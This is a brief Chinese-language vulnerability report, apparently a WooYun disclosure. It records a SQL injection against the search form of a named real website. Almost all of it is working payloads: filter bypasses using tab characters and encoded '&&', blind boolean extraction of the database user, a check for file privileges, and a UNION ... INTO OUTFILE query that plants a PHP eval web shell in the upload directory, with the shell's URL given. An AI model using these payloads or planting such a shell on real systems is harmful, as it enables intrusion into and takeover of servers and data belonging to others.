WooYun.org

漏洞地址
url
http://enfodesk.com/SMinisite/newinfo/search.html
post参数
x=0&y=0&keywords_global=%')%09%26%26%09hex(substr(user(),1,1)<72;%09--
注入限制
空格会被分开，用%09绕过
and被过滤，用%26%26绕过
hex(),char()等被过滤
检测“<?”，采用concat绕过
1. 错误回显
x=0&y=0&keywords_global=%'

2. 注入存在测试
and 1=1 测试
x=0&y=0&keywords_global=%')%09%26%26%091=1;%09--
回显正常

and 1=2 测试
x=0&y=0&keywords_global=%')%09%26%26%091=1;%09--
没有查到结果

3. 漏洞利用
burpsuit爆user()
x=0&y=0&keywords_global=%')%09%26%26%09substr(user(),1,1)='@';%09--
结果tuoniao@localhost
测试文件权限
x=0&y=0&keywords_global=%')%09%26%26%09(select%09File_priv%09from%09mysql.user%09where%09User='tuoniao'%09limit%091,1)='Y';%09--

可以看出有文件权限
4. 种马
x=0&y=0&keywords_global=aaaa')%09union%09select%09concat('<',"?php\reval($_POST['mody']);?>")%09into%09outfile%09'/var/www/www/SMinisite/SMinisite/mt_public/upload/14.php';%09--
shell地址
http://enfodesk.com/SMinisite/SMinisite/mt_public/upload/14.php

5. 数据库权限
root权限有木有啊